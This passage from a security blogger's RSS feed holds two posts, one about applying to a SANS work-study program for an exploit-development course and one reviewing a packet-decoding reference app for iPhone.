<p>I&#8217;ve applied to be a volunteer as part of SANS work study program and crossing my fingers to be accepted. With forty courses on offer, my number one choice is Steve Sim&#8217;s <a title="SANS 709" href="http://www.sans.org/security-training/developing-exploits-penetration-testers-security-researchers-1107-mid" target="_blank">Developing Exploits for Penetration Testers and Security Researchers</a>.</p>
<p>This course is really out of my comfort zone and a huge challenge in itself, nevermind the GSE study that I&#8217;m doing. I&#8217;ve only really played with the skills the course has taught while studying for OffSec&#8217;s PWB exam, but the topic is compelling and will help lift the shroud of script kiddie tools that I use. With both Steve Sims and Jim Shewmaker teaching the course it, should be absolutely brilliant to be able to learn from both these guys and mature my understanding this complex piece of IT security.</p>
<p>I&#8217;ve noticed that some very smart cookies are taking this course, including <a href="http://www.mcgrewsecurity.com/">Wesley McGrew</a>. Great, real security researchers, coding gurus and me. Well,  at least I know I asking the person sitting next to me what this all means  should get a sensible answer  <img src='http://www.chris-mohan.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/gse-exam-in-sans-network-security-2010/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Things that know PING, Packet Decode</title>
		<link>http://www.chris-mohan.com/2010/05/things-that-know-ping-packet-decode/</link>
		<comments>http://www.chris-mohan.com/2010/05/things-that-know-ping-packet-decode/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 23:52:40 +0000</pubDate>
		<dc:creator>Mohan</dc:creator>
				<category><![CDATA[SANS]]></category>
		<category><![CDATA[Study]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=602</guid>
		<description><![CDATA[The last few weeks have been all about the packets, it seems. We&#8217;ve found and fixed a couple of wacky problems at work by looking at packet captures, Netmon 3.4 beta is out, I&#8217;ve devoured Laura Chappell&#8217;s new wireshark book, started playing with scapy, read the new Honeynet challenges and now I discover my 502 [...]]]></description>
			<content:encoded><![CDATA[<p>The last few weeks have been all about the packets, it seems. We&#8217;ve found and fixed a couple of wacky problems at work by looking at packet captures, Netmon 3.4 beta is out, I&#8217;ve devoured Laura Chappell&#8217;s new wireshark book, started playing with scapy, read the new Honeynet challenges and now I discover my 502 teacher, Chris Brenton, has a web site and iPhone app on showing love to the packets!</p>
<p>While stuck on a bus, I was idly sifting through Apple&#8217;s app store when I found <a title="iPhone App" href="http://www.mobilesecurityhack.com/" target="_blank">Packet Decode</a>. Some what intrigued, I have a look at it and noticed it was made by my old SANS instructor. Hoping this wasn&#8217;t some wacky joke by Chris, I bought the app and had a play. The simple description is that is it a IP/ICMP/TCP &amp; UDP (v4 and v6) cheetsheet on steroids.</p>
<p>This is pretty darn helpful as Chris has written clear description of each field within the packet and has some nifty filters for wireshark and TCPdump. Some though on how the info is displayed means this isn&#8217;t cumbersome to navigate, making it a function and useful portable reference. Now if only he added DNS section and my paper<a title="The old faithful TCP/IP cheetsheet" href="http://www.sans.org/security-resources/tcpip.pdf" target="_blank"> SANS TCP/IP cheetsheet</a> could rest happy.</p>
<p>Great as a quick reference, memory jogger or, as I intend to unleash at the next geek pub crawl, away to torture those around me with random facts and demands to know the tcpdump filter syntax for detecting tcp packets with windows size of less than 100. Hours of fun!</p>
<p>Mr Brenton&#8217;s web site<a title="Mr Brenton - Lord &amp; Master of the 502!" href="http://www.chrisbrenton.org/" target="_blank"> http://www.chrisbrenton.org/</a> has some great articles and a number of packet challenges well worth taking the time to work through.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/05/things-that-know-ping-packet-decode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
